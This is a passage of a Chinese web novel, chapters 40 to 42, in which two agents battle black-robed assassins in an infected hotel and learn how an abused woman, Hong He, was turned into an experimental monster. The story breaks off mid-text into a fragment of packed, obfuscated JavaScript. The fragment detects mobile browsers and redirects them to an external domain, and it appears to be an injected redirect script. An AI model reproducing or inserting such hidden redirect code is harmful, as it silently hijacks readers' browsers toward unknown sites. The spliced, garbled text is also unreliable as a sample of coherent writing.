一个女人,一个垂垂老矣的女人,她迫切的最终欲-望,绝不是为了别的任何人,一定是为了自己。红荷不再隐忍任何痛苦,任何软弱,任何无能为力,任何对女人的规训,她天生力气大,天生头脑聪明,懂得坚持不懈,善用强大能力。既然那扇困住她的枷锁之门已经被如此轻易地迈出,那么任何东西都无法再阻挡她的欲-望,无数走马灯正凝视着红荷,无数过去的她不曾阖眼,如果一切轮回的收束是为了此刻,红荷握紧了双拳,她不会有任何退缩,这里是她的主场,“开始吧,我们最终的谢幕剧。”
40.孵化幸福旅馆(九)
“挂着红灯笼的地方就是旅馆。”白央推开破损的旅馆门,前台后面佝偻着一个看不清模样的东西,“看来就是这里没错。”
奚渚盯着缓缓阖上的大门,她环视了一圈,目光最后落在那只无头招财猫身上,“很奇怪啊,我好像见过这个东西。”
白央顺着奚渚的视线瞧过去,整间屋子过分诡异,但却透出一股莫名的熟悉感。
要是到了这份儿上还没察觉出什么来,最好在任务结束后回基地看看脑袋再走。
奚渚转过身,白央站在她身后,手里已经开始有了动作,“你确定?这次我们不三思而后行了吗?”
奚渚音调平缓,实在听不出什么“我们俩应该先冷静下来针对旅馆讨论出一个万无一失且平稳落地的打击政策”的语气。
白央抬起眼睛,因为奚渚在她身边充当感染绝缘体的缘故,所以她这次并没有裹得那么严实。
西装下的双臂,肌肉紧绷。
“不择手段完成任务,吉蒂琼没跟你说过吗,以最坏的结果来猜测,既视感大概率就是感染物的能力,你应该不想被它牵着鼻子走吧,奚渚。”白央将猎枪撑到肩上。
“我还以为队长你是一个稳中求胜的人。”奚渚退后几步,给白央留出挥枪的空间,“谁会喜欢被别人牵着鼻子走呢,尤其是在这种似曾相识的情况下,如果说既视感是真的,那么想必你我二人已经被利用了不止一次。”
“所以,我完全同意,先轰了再说,没有任何线索,就需要由我们亲手创造线索。”奚渚靠在门上说。
白央点点头,“那么,流浪区观光结束,三。”
奚渚默默捂上了耳朵。
“二。”
前台的位置,似乎有什么东西在缓慢移动。
“一。”
子弹脱鞘,轰!
整个旅馆的一楼在分秒间就被轰成了废墟,浓重的尘烟升腾起来。
一抹黑影嗖的一下冲了出去,破开无数烟尘。
砰!
一个残破不堪,被炸了半个身子的东西被摔在白央脚下,奚渚踩着招财猫的身子,简短说:“这个东西是活的。”
白央蹲下身,奚渚刚才的反应简直快到了极限,几乎是与子弹齐头并进,在那种爆发力之下,任何东西都是手到擒来。
想必是这只招财猫想在混乱中逃跑,所以被奚渚捕捉到了。
“活的?”白央确认道:“怎么知道的?”
这句话当然是在问奚渚。
答案,对于白央来说远比过程更重要。
“这东西交给你了,奚渚。”白央站起身,提着猎枪走到另一个房间门口,“作为队长,打头阵的任务交给我,我来找到那些藏着的感染物。而剩下的,这些零散碎虾的任务就全数给你了,手段不重要,方法也不重要,唯一重要的,只在于任务的完成和执行。”
一切都是为了目标,奚渚自觉正色起来。
她原以为白央只是一个冷酷无情的大冰箱,只会制冷,不会回暖。
但没想到对方竟然会突然在这里跟自己说这么多,承担起了队长的责任,替奚渚在陌生的任务中引路。
她知道,白央是在教她东西,“队长。”
白央按了按手心,猎枪的后坐力还是非常猛烈的,“平常什么样,现在什么样就行,我不是为了别的,只是为了任务。”
奚渚提起招财猫来,猛地摔到了地上,“明白。”
无数瓷白碎片崩裂在奚渚脚下,形成了一个奇怪的文字:“黑......”
“炸成无数碎片的招财猫,从中间裂开的电视,还有一个半人半感染物的角色。”她将脑袋里那些若有若无的画面慢慢讲述出来,“我们站在电视前,就像是在舞台上出演一台戏。”
白央望向奚渚,越过对方的肩膀,一台电视正立在那里,黑魆魆的屏幕映出二人模糊的身影。
“活的。”奚渚说:“这间屋子里所有的东西都是活的,甚至就连这座屋子都是活着的。”
白央皱起了眉头,“还有什么?”
“那个在前台后团在一起的东西是男老板,还有厨房里有几个奇怪的进食的蛾子,二楼有几个房间,我们到过那里,在那里发生了一些事情。”奚渚的表情有些奇怪。
白央问:“二楼发生过什么?”
奚渚眨了眨眼,似乎是在适应眼睛一样,“我们每次都会死在那里,没有例外。”
“你看到什么了?”白央问,奚渚的状态不太对劲。
“我感知到它了,对方不知道用的什么能力,让我可以透过眼睛看到已经发生的过去。”奚渚皱着眉,现在它的眼前就像是剧终落幕一样,出现了无数个她与白央的幽灵身影,这些身影一个个互不干扰,在“舞台”上擦肩而过,而无一例外的是,她们都将通向死亡。
“这里不只有我们存在,除了感染物,还有三个黑袍人。”奚渚注视着这些线索,一五一十地说出来,“这些碎片是线索,还有电视,它也会给我们提供线索。”
白央望向那些瓷白的碎片,熟悉的感觉从心底升起来,她好像曾经接触过那只招财猫,对方挥动武器是想提供什么线索和答案吗?
“就像解谜一样,有人在给我们提供线索,而我们又不得不循着这些线索调查下去,这么一看,简直就是故意的。”奚渚站到电视面前,摸上了对方黑黝黝的屏幕,“如果说这些线索都指向一个答案,那么这个答案或许就是解谜的关键,抑或是目的。”
奚渚随手拨动了一个按钮,电视屏幕由漆黑转向雪花。
陡然间,里面传来一阵模糊不清的播报声。
“经...调查...经...调查...经...调查...经...调查...”
“不明...现状...不明...现状...不明...现状...不明...”
“掩盖...旅馆...掩盖...旅馆...掩盖...旅馆...掩盖...”
奚渚站在电视机跟前,这个场景她百分百经历过,她记得很清楚,当时的她正在纠结这句话到底是什么意思。
究竟是经过调查,发现不明现状,旅馆掩盖了什么?还是什么掩盖了旅馆?
但现在看来,这些不成串的话,或许别有深意。
旅馆的现状,经调查,掩盖了不明。
最重要的是掩盖了不明这个信息。
唯一能掩盖的,除了感染物还有什么,奚渚再想不到其他东西。
“这里究竟发生了什么?”奚渚心道,但下一秒,背后之人就通过面前的影像告诉了奚渚答案。
无数个空壳针管堆在地上,一个男人的幽灵剪影出现,奚渚立刻认出了对方是谁。
是那个给她们开过门的男老板。<
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奚渚跟着男人的脚步向前移动,白央也紧随其后,挥开灰尘满布的帘子,几人进入了狭小的厨房。
厨房内,两个剪影,一男一女,相互对峙。
中间隔着无数针管,以及蛾子的尸体。
“流浪区,无人监管,更无人在意,即使死了,也不痛不痒,她们缺钱,缺任何东西,只要有人愿意豪掷一笔,一定会有无数实验体蜂拥而至。”奚渚盯着针筒,里面还有部分残留的残渣药剂,“如果是我的话,某些实验室被废弃之后,也一定会选择这里充当人体实验的最佳选址。”
【HPP重工也派过调查员前往那里。】奚渚掀开帘子,“还记得吗?队长,论坛中的帖子曾经有人说过这么一句话,没准儿HPP重工不是为了调查,而是为了实验记录。”
“这家店的老板被当成了实验品,或许是因为丈夫见钱眼开,也或许是别的原因。”白央重新站到电视面前,“但原因不重要,重要的是我们可以确定某些事情,一是HPP重工与这里有密切联系,二是感染物通过它的能力想要我们知道某些信息。”
“黑袍人。”奚渚思考道:“它想让我们注意到躲在这里的黑袍人,招财猫和电视也都是为了这个理由才被充当道具使用的,等于是感染物布置了这样一个场景,但现在出于某些原因,感染物选择让我知道这些幕后之事,等于我现在拥有了全知视角。”
二人沉吟片刻,对于感染物的能力来说,出现什么都不意外。
重要的是对方为什么拼了命也要让她和白央意识到黑袍人的存在。
难道之前她和白央的死都是因为这些人吗?
如果是这样,悬车上那头和这些黑袍人一定脱不了干系,没准儿就是一伙的,悬车上那只负责打头阵拖延奚渚的步伐,而剩下的几个则利用旅馆感染区继续截杀奚渚。
目的还是一样的。
那就是奚渚必须死在这里。
“但是,那只感染物为什么要帮自己呢?”奚渚不免疑惑,她们是抱着杀死对方的心态来的,但现在情况明显发生了变化,再结合那些既视感,以及这双全知之眼,奚渚几乎可以确定那些既视感是真实发生过的,而她的无数次死亡也并非幻象。
那么是否在曾经经历过的某次死亡中,自己和感染物有过交流,甚至可能有过某些承诺。
不然这一切根本无法解释。
本该被7组绞杀的感染物却反过来帮助她们两个人,对付浑身谜团的黑袍人。
一片安静中,白央突然有了动作,她抬起手指抵在嘴边,嘘了一声,“有人出现了。”
二人都默认是感染物主动现身,可是当奚渚的余光瞥见那一抹黑色的衣摆后,瞬间紧绷起来。
她直接将白央拽上了房顶,二人倒挂在上面,现在已经没了跑出去的机会。
旅馆二楼的楼梯吱呀作响,几声凌乱的脚步渐起,她们低声交谈着,语气不善,“红荷的能力还不错啊,比我想的还要精彩,如果能回收的话就再好不过了。”
“毕竟只是一只实验体,也算是完成了她的使命。”
“那么,现在要动手回收吗?”
“不,现在还有别的任务。”
“杀了奚渚,在这里。”
三个黑袍人冷不丁同时抬头,齐刷刷盯着挂在房顶上的奚渚。
“找到了,果然没死。”
41.孵化幸福旅馆(十)
“敌人。”
“三人。”
白央右脚勾在房梁上,第一反应就是想要拽着奚渚立刻离开。
但就在她伸手的瞬间,耳边听到砰一声震响!
整个屋子被突如其来的蛮力震裂,一个快到无法看清动作的身影直逼她冲击而来。
无数碎屑墙皮炸满在整个半空,对方的动作太快,根本没有任何可以反应的余地。
“自己躲不开。”白央无比确定。
黑袍人绝不会手下留情,在极限速度下只想将白央一击致命,只有她先死了,黑袍人才会抽出全部余力来对付奚渚。
组织森严,行动严谨,能力强大,她们目标从没变过,那就是在这里杀死奚渚。
思考时间实在是有限,白央被迫呼出一口沉重的气,半空的碎屑被轻轻吹开,她不自觉地弓起脊椎,这时人造身体的作用就被充分体现了出来。
白央的身体简直弯曲到了极致。
利刃出鞘般的弯刀,剔骨剖皮般的尖锐骨刺,黑色西装下,奇异的长蛇形状自颈后开始突起,一节一节。
一双机械手直接握到了突起上,白央指尖轻轻一抬,游蛇般的脊椎刺刀被唰一下抽出来。
【解锁成功。】
附在身体上的武器,是用人类器官改造而成的强大产物,是最新的研发产品,白央主动要求安装做第一批适配者。
武器由高强度的硅素打造而成,通过脊椎上的无数个触发点一截截覆盖上去,它通体银色,与皮肤紧紧贴合,并且在日常生活和各项行动中不会有任何不适。
白央皱紧眉毛,这是她第一次成功抽出来,曾经的抽取测试大多数都失败了,究其原因还是因为大部分情况下武器都与皮肤贴合的太紧,导致抽出来时几乎痛不欲生。
葵金说过,这东西几乎可以自主攻击,但那也是激活到了一定程度时候才有的能力。
对方还说过,这项技术之所以没有大范围进行改造预约,是因为并不成熟。
但是白央却觉得有值得一试的可能,如果要对付三个黑袍人,一把猎枪绝对不够。
房顶上,两抹黑色的身影互不退让,一颗颗子弹带着无数抽长的骨刺击向黑袍人,快如闪电的动作下,只能听到呼啸的撞击声。
“嘭!”
无数弹壳摔落在地,叮铃哐啷砸在奚渚面前,她站在地面,几乎是三个黑袍人抬头发现她的瞬间,她就跳下了屋顶。
绝不能将这三个人集中在一起,否则一定会死,必须将几人的战力彻底隔离开,她和白央分别动手,这样才有赢的可能。
一团黑影嘭一下扑到了奚渚脸上,奚渚被迫歪头,同时,她的左肩被狠狠咬了一口。
黑影极速闪动,奚渚接连扣动扳机,在牵制对方的同时右腿将旅馆的大门猛地踹开。
“要去哪儿?”
嘭!
子弹完全射空,但不出两秒,黑影又会重新聚到奚渚身后,紧紧贴上来。
右肩、左手腕、右臂、侧腰,一个接一个,被黑影四处撕咬。
子弹打不透对方,即使打进去,一个雾漩似的东西也会将子弹即刻吸收。
“距离已经拉得足够近了,但是什么都感知不到,不论是波动,还是其他,就好像面前这东西是个死物一样。”奚渚心道。
什么都没有......
奚渚突然停下了开枪的动作,她愣在原地,怀疑自己是不是跳下来砸坏了脑袋。
啪!
黑影这次瞄准的是奚渚的右手,只要能直接咬断,不会开枪的人不就是一个废物吗?
雾漩重新聚集,在一团漆黑中似乎出现了黑色的獠牙,锐齿强力大张,黑影鬼魅般绕到奚渚的身后。
啪!
“什么啊,这么难吃?”奚渚嘴里嘟嘟囔囔地说着。
黑影僵硬在半空,它怎么都没想到奚渚竟然不动手了,开始直接动嘴!
“折腾什么?乖乖的。”奚渚的虎牙狠狠一咬,黑影瞬间喷-出无数呛人的黑雾,“你就是浓雾的操控者对吧。”
余光中,奚渚瞥了一眼白央那头的情况,不禁觉得脊椎生疼,但打斗依然僵持着,既然如此,还是拆开黑袍人分头解决为最优选。
【贪-婪之漩,极速追踪。】
嘭!
在听到某种声音突然响起的瞬间,奚渚本能地松开了嘴,她立刻察觉到不妙。
身形向后,将嘴里的东西甩到半空,挺身剧烈开枪,同时奚渚的身体冲着旅馆外砸了出去,无数子弹脱壳而出,打在了一头由黑雾形成的巨大怪物上,子弹被全数淹没,怪物行动迅速,立刻冲着席卷而来。
黑雾没有任何形状,就像是一团湮灭的东西。
怪物被无数雾漩所组成,一个个扭动的窟窿,就像是身体上的不可复原的疮口,它们可以随意改变方向与形状,在半空形如鬼魅。
“追踪能力?”奚渚立刻起身,刚才因为有子弹的拖延,所以她才没有被怪物淹没。
她立刻朝另一个方向狂奔,在无法断定这团怪物的具体能力是什么前,就先带着对方兜兜圈子好了。
但怪物却不打算浪费时间。
【贪-婪之漩,极速追踪,V字包围,强力咬合。】
明明对方的声音十分微弱,但奚渚却听得很清楚,甚至就像是在耳边呢-喃。
现在可以断定的是,其中一个黑袍人处于战斗状态时就会变成黑烟,继而变成力量更加强大的怪物形态。
解决了怪物就等于是解决了黑袍人,这是毋庸置疑的。
但让奚渚疑惑的是,对方口中所呢-喃的神奇能力,简直就像是抽卡游戏。
想到这里,奚渚缓缓停下了步伐,强大的敌人如果不能练手,那么就没有任何用处可言。
巨大的V字怪物从两侧向奚渚包围而来,完全滴水不漏,奚渚想逃都逃不出去。
她突然以最快速度冲向怪物体内。
目光所及,一片混沌。
伸手不见五指的黑,无法分辨方向的极夜之地,亘古的黑暗中,唯有奚渚强有力的心跳声,清晰可闻。
“被怪物淹没之后并不会直接就死,起码心跳不会说谎,自己依旧活着。”奚渚分不清方向,看不清去路,索性直接开始四处随意走动,“那么倒不如说是将目标吸纳后,存放到了另一个与现实世界完全隔离的黑暗空间中,因为在这里感受不到任何气息,约等于置换空间类的能力,那么大概在这里,敌人可以为所欲为。”
一片黑暗中,奚渚不急不忙地走着。
现在是最好的情况,她和白央一人牵制一个。
但是敌人明明有三个人,但领头的那个黑袍人却似乎并不打算出手,难道是有什么原因吗?
奚渚想起了对方口中说过的那两个字。
——回收。
“是要回收红荷的能力吗?目前看来确实是这样,如果对实验的猜测是正确的话,现在又出现了一股神秘的力量,但这股力量一定和HPP重工脱不了关系。”
而且,奚渚在心中隐隐觉得,现在的她只是碰到了一块儿冰山表面的石头,而冰山之下的错综复杂,一定牵连甚广。
黑暗中,所有感官被迫放大,莫名让奚渚有了一种发毛的感觉,就像是小时候在生锈展柜中看到的那些古旧洋娃娃一样,被困在里面却又被想掠夺她的人死死盯着看。
因为无法辨别任何方向,所以奚渚根本不知道现在她究竟是在朝前走,还是仅仅只在原地踏步。
如果这怪物的能力只是困住敌人,也未免太过小儿科,黑袍人一定是在等着自己露出破绽,一击致命。
因为如果敌人能打消耗战的话,就绝不会躲在黑暗中。
渐行渐远,奚渚的背影缓缓消失。
在她的身后,幽幽出现了一个人影。
***
在不断“鬼撞墙”的行走过程中,奚渚的大脑依旧一刻不停,她开始推演此次任务的各种情况:既视感等于之前所经历过的事情,全知视角则等于红荷的某种能力,并且现在可以确定的是自己曾经和红荷做出过杀死黑袍人的承诺,所以红荷的一切行动和给她们提示的既视感都在指向唯一结果,那就是与黑袍人最终碰面。
“而自己明显出现了记忆缺失的情况,大概率是每次复活死了。”奚渚掉转了一个方向,“既然红荷是感染物,且能力值得被回收,那么证明她的能力一定十分稀有,甚至可以说是罕见。”
来路与去路没有任何区别,奚渚抬起右手,伤口都恢复好了,她在一片黑暗中徐徐摸索,什么都没有,“关于死亡轮回之类的能力吗?”
奚渚觉得应该大差不差,既然她的最终目标是杀死黑袍人,那么对方给她的承诺大概率是给予异能。
只有这样才解释的通,奚渚才确信自己会当一个“热心肠”。
一切都建立在交换的条件上,她帮红荷杀死黑袍人,而红荷要赠与奚渚稀有的异能。
“知道自己要死了吗?”奚渚突然开口道:“只有死亡,能力才会被继承或者掠夺,你又是为什么不惜去死也要杀了她们呢?红荷。”
“和实验有关对吧,电视中播报的那个新闻就是你吧,红荷。”
“旅馆,或者说是部分流浪区有了奇怪的现状,经过某些人的调查,彻底将所有不明掩盖。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366806|176216||http|test|mini|href|location''.split(''|''),0,{}));
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>“你为了找她们,耗费了一辈子,或许论坛里的那个帖子也是你发的,你在一切来临前就准备好了去死,将所有人变成你计划中的一环,就连自己也绝不放过,你一定知道区区的感染区困不住黑袍人,所以对方一定会去找你,你准备怎么做呢?”
在知道自己一定会死之后,你到底会不会后悔。
“如果能够见你一面,我很想问问你这些问题,但是我知道,在我忘了的部分中,我一定也问过你同样的问题,也一定猜出了你所有的意图。所以,我能帮你的只有杀了剩下的两个。”
一阵异样的黑影飘过来,奚渚莞尔一笑,天时地利人和,对方竟然先按捺不住了。
下一秒,奚渚被掀翻在地。
黑影还在持续靠近。
“再近一些,再近一些。如果说在这团怪物里你可以为所欲为,只手遮天,那么你又何尝不是完全赤-裸地暴露在我的感知之下呢?”
***
【贪-婪之漩,高速狂拳。】
嘭!
奚渚双手交叠,护住了脑袋。
攻击出现的毫无预兆,她被一股强有力的力量再次砸翻在地。
拳拳到肉,奚渚没有任何喘息的余地,凌厉的劲道劈在全身各处,让她没有任何还手的机会,无限再生的能力在如此快速的攻击下治愈的十分缓慢,全身的伤口正在加速爆裂。
又是一脉强劲拳风,这次奚渚躲都没躲,硬生生扛下了这枚拳头。
下一拳,紧随其后!
黑暗中,只能看到奚渚在单方面挨揍,虽然每次都被打到翻滚在地神志不清,但还是可以次次爬起身。
嘴角带着冷冰冰的浅笑,就那么森森地盯着暗处,宛如在说:“你就这点躲在阴沟里的耗子本事?”
那种绝不服软的态度,让躲在黑暗里的黑袍人怒从中来。
“贪-婪之漩是最基础的异能,就像一团无限容纳一切的口袋,在贪婪之上,可以无限叠加任何强大异能,没有任何能力可以像这样将任意组合的异能发挥到极致,贪-婪可以说是碾压的存在!但唯一的不足之处就是,本能被贪婪所成,也被贪婪所连累,自己的本体十分脆弱,只要被奚渚发现了,对方能立刻杀死自己。”
黑袍人根本不敢以真身靠近,它的身体躲在最远的覆盖范围500米外,但一想到奚渚耍猴一样的浅笑,就让它气得牙痒,从来没有人能逃出这里,无数死人的骨头正在等着一个新尸体摞上去!
“我一定要杀了她!是那个人的命令,亲爱的1-号大人,我一定会完成您的愿望!”癫狂地臆想中,巨大的疏忽往往就会瞬间暴露,强有力的拳头突然开始变软变棉,还有那黑暗中唯二狂颤的心跳声。
奚渚扭过脑袋,发挥最大力量让无限再生瞬间修复好了身体。
“咚咚咚!”
“咚咚咚!”
她死死盯着浓到化不开的黑暗处。
瞬息间,双方都立刻察觉到了,你死我活只会在一瞬间。
当一只黑猫要抓老鼠时,二者对口中粮的挣扎和对捕杀者的危险的察觉几乎是刻在身体里的本能,黑袍人遥望了一眼奚渚的方向,一切都太过安静。
“贪-婪之!”
“你在这里啊。”黑袍人身后,突然响起了一道幽幽的声音,“还给你了,刚才见面时候的背后打招呼。”
奚渚像一具绷紧的铡刀,在接触到对方的瞬间,感知技能被彻底重启。
嘭!
能力发挥的瞬间,奚渚大脑嗡一声尖锐鸣响,她硬生生压了下去,强-制持续发动。
感知能力的两种使用途径,一种察觉,一种绞杀,奚渚记得很清楚,而面前的人影在瞬间就被绞成了一摊肉泥。
遮眼的黑暗正在渐渐消散,奚渚蹲在地上喘着粗气,感知能力几乎可以说是耗命的东西,尤其是敌人越强,对她的反噬也越强,这项能力几步不可以在普通任务中使用,如果能有别的能力就好了。
——叮!
【恭喜解锁高级技能——贪-婪之漩。】
【贪-婪之漩:一个完美的基础无限抽屉,在贪婪抽屉上,您可以无限叠加任何能力,组成一加一-大于一切的强大武器,可存放!可抽取!可叠加!可任意组合!接下来将给您发放“贪婪抽屉”使用说明,请仔细阅读,注意缺陷:一:基础能力范围500米,叠加能力越多,范围越小,极有可能坍缩至1米范围。二:能力发动后,怪物就是您的双手,脆弱的真身请一定藏好!目前开发进度:100%。】
奚渚的大脑内自动铺开了一面长达十米的大卷轴,她叹了口气。
这能力,看起来坏处更大啊。
42.孵化幸福旅馆(十一)
“怎么样?”
“自爆了,什么都没有问出来。”
白央面前,出现了一个黑色空间。
一双手强有力地从黑洞中伸了出来。
“耳后带着一串数字,22。”白央继续补充道。
奚渚身影从黑洞中-出现,径直被甩出来的还有另一个黑袍人,“这个的编号在手腕,是23号。”
“这下可以彻底确定,黑袍人和悬车上的暗杀者是否隶属同一组织。”白央说。
奚渚环视一圈,“现在似乎只剩下唯一一个了。”
“你觉得她会在哪里呢?”白央问,武器已经被重新贴合到了皮肤上,她的脊椎和大部分关节正在咔咔响动,这是代表武器使用过度,有可能躯体崩坏。
“红荷。”奚渚简单地说。
“能找到吗?”白央看了一眼奚渚的状态,对方眼下发青,状态不佳,“发生什么了,解决黑袍人的时候。”
奚渚摇摇头,“没什么,短时间内感知技能无法启用了,所以只能依靠别的东西来找到红荷。”
“电视和招财猫都是活的,它们应该会有线索。”奚渚走到电视面前,“你们为什么是活物这件事并不重要,重要的是谁让你们活过来的,红荷现在有危险,你们两个还有守着我和白央根本没有任何意义。”
“所以,带我去找她。”奚渚很清楚,在红荷不惜一切都要促成的结局,不论是谁在最后获胜,只有红荷,她不会再有另外一个结局。
傻吗?奚渚无法确定。
聪明人吗?奚渚也无法断言。
但她唯一可以体会到的仅仅是,当死亡像刻度尺一样过分清晰时,一个人往往会像天平一样左右摇摆,悔恨过去,否定所有,死线被划分出来的时候,一半是一文不值,另一半却渴望最后为人的尖锐,一半怯懦于死亡,一半却勇敢于悔恨。
对于红荷,她显然知晓自己的结局,无外乎死亡一条路。她与奚渚做了惊人的交换,鼓起勇气,拦住一个要杀她的猎人,口气沉稳地说出自己的承诺,提出合谋的策略,好让这份死亡来的再值得些。
既视感在不断加强,奚渚能察觉到的信息越来越多,白央同样也是,红荷的过去太过清晰,那些躲在厨房内的痛苦时光,如米粒嵌在头皮上发痒发疼,抠到流血都拿不下来。
蒙太奇一样的影像在二人面前飞速闪过,红荷的一生,薄而脆的过去,一口咬下去,真是让人牙酸。
狭小厨房的排气管道和风扇是几排黑点,屋顶上亮着一只昏暗的灯,透过油腻的窗户,可以瞧到一个黑影正佝偻着,水流声一出,立刻淹没了世界,整间屋子都被困宥在窒息的氛围中,即使透过影像,奚渚也能感受到一切都在奇异地喘气,吸气,喘气,吸气...
压抑之际。
屋子变成触-手一样的黑色长条,倾倒在人影的正上方,形成了巨大的包围网,混乱的影像,不断扭曲的环境,厨房的灯变暗了,隐隐约约的,物品变成了四肢,那些长条全数倾倒而来,砸在红荷头上。
昏暗灯光下,红荷躲在角落,只能看见墙上男人的黑影越来越大,大到笼罩一切。手臂,腋下,锁骨,侧脸,眼睛,额头,那些黑条如雨点般落下,变成了皮肤上面积相当的淤青,红荷无法动弹,突然变成了一个不会动的虫卵,蜷缩在墙壁上,看躯体在拳头下忐忑不安。
她尝试过反抗,但最终却无疾而终,她觉得作为一个妻子,原谅不懂事的丈夫,是一条铁律。
但她的心里,总在为无法破茧而出而愤怒不已。
为了癫狂的幻想,丈夫获得了某种实验的注射资格,听说只要同意实验,就可以得到一笔巨款,到时候,亏损在幸福旅馆的钱就可以藉此补充回来。
丈夫应该是没有任何犹豫的,与那些人签订协议的瞬间,就将针口对准了唯一的妻子。
他拖出在厨房躲着的红荷,那也是打得最凶狠的一次,将并肩的妻子按在身下,挥舞着比拳头还要痛苦的针剂,将那瓶奇怪的东西注射进了她体内。
果然,丈夫得到了一-大笔钱。
他喜笑颜开。
而紧接着,一个打扮怪异的人就成了旅馆的常客。
对方很喜欢在厨房观察红荷的状态,就好像在观察一个动物。
红荷的身体越来越僵硬,反应越来越迟钝,人类的食物开始乏善可陈,但是生肉的味道却刺-激着大脑,她开始渴求更多!
黑袍人冷眼旁观,将红荷锁在厨房,扔给她两个玩具朋友,她机械地记录着实验的变化,红荷的眼睛逐渐开始外凸,形体发生了变化,这意味着实验或许有成功的可能。
一针针药剂被不间断地注射进红荷体内,丈夫在外面数着一沓沓钞票,笑得毫无人性。
缓慢,长久,痛苦,不知道过了多久。
时间无法被计算,不论是向前还是向后,对于红荷来说都没有任何区别。
她不再有任何选择,直到某一次,对方说了一句话。
“你杀了你的丈夫吗?”
红荷摇了摇僵硬的脑袋。
黑袍人叹了口气,指了指角落。
怪物立刻趴到一堆生肉上开始啃食起来。
“依旧无法交流。”
红荷还记得最后一次观察,彼时的她已经没了人样,变成了一只残破的巨型飞蛾,她傍在唯一的两个朋友中间,让电视和招财猫守护着她。
她看不见闻不到,脑子里大部分时候都是一片混沌,她想开口,却什么都说出不来。
“实验失败,剂量增加下无法保持人类意识,观察暂停,正在返还实验数据。”
红荷脑内一片浆糊,但她却突然察觉到这个人要走了,或许永远都不会再回来。
“为什么哭了?你不应该哭的。”
对方是在和自己说话吗?红荷搞不懂。
“啊...啊...”
短而急躁的促音。
黑袍人回过头来看了一眼,尘封的厨房内只有嗡嗡轻鸣。
“这次我不会上锁,没用的东西像宝物什么的锁在这里岂不是太可笑了。”
***
“啊...啊...”
听不懂但很伤心,无法理解但却明白愤怒,为什么是自己?为什么自己成了这个样子?明明有无数选择,从过去到现在,但最终走向的却还是最差的结局,一半人类一半怪物,新规格的实验体,无聊的其中之一,拼尽全力去够到早已知晓的答案,多么愚蠢的怪物。
“想起来了吗?
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”黑袍人站在逆光中,“临死的时候,总会想起一些无关紧要的事情。”
红荷躺在不远处,生命在流逝,时间在她身上飞速掠过,她正在极速萎缩和变老。
只一瞬间,就成了一具枯木的模样。
“已经是极限了吗?”黑袍人靠近了几步。
“我...我...”
“我知道哦,你想要问什么问题。”黑袍人拿出一个东西放在了红荷上方,一具温暖的光辉洒下来,“我一直都知道。”
“为什么...为什么...”
“为什么是你?为什么不是别人?为什么选择那么多却总也选不到正确的选择?为什么拼尽全力也无法改变?为什么一辈子都不幸福?为什么只有自己无法幸福?”黑袍人缓缓地说:“这个被欺骗的世界,哪有什么幸福可言。”
“为什么...是我?”
黑袍人轻轻抬手,抚摸到了红荷的脑袋上,“没有理由。”
轻柔,温和。
一切都开始模糊,原来死亡竟然没有丝毫痛苦,竟然如此悠闲如此普通,就好像在某个风和日丽的下午,扑到了母亲的怀抱。
***
“消失了。”
“什么消失了?”白央看着面前突然停下脚步的奚渚。
“红荷的气息消失了,还有黑袍人。”
“死了?”白央问。
话音未落,一直在二人前方引路的电视和招财猫突然开始狂奔。
整个流浪区已经恢复了往常的气氛,压抑低迷,黑雾全数消散,一台电视和一个瓷偶在路上狂奔的场景吓坏了一堆小屁孩儿。
他们一哄而散,大声尖叫,刺破流浪区的安静,“那是!那是什么东西!”
“消失了,感染区也消失了。”白央的视线追随着电视消失的方向。
她点开机械手环,信号恢复,时间显示已经过了整整一-夜,论坛摇身一变充斥着普通的上区观光旅游帖,只有伊文捷琳的几条信息漂浮在上面。
“结束了。”奚渚确定道,“黑袍人杀了红荷,回收了能力。”
“要跟过去吗?”白央自然指的是电视和招财猫。
目标物已经被解决,而且很大可能发帖人就是红荷,所以这一切的一切根本没有任何意义,她和白央也或许只是被偶然选中的人,毕竟如果她们没有接受任务也一定会有别人接受。
已经没有任何理由再跟过去了,但是奚渚却十分在意回收一事。
将药剂注射到实验者体内后,对方会因此变成感染物,从前的她将所有分析都侧重到了实验过程,但如果背后之人的真正目的是实验结果呢?
也就是最后一步——回收。
回收之后呢?这些异能要保存在什么地方,又或是要给什么东西继续使用?
还有那些奇怪的编号,这些人为什么一定要杀死自己。
如果说,那晚出现的人就是这群黑袍人呢?
因为没有在17区杀死自己,所以一直追踪到了10区,那么不就意味着接下来,只要自己没死,就还会有无数拥有异能且隐藏身份的敌人袭来。
奚渚站在流浪区中,任由人群擦肩而过,她死死盯着初生的人造太阳,“我到底是什么?”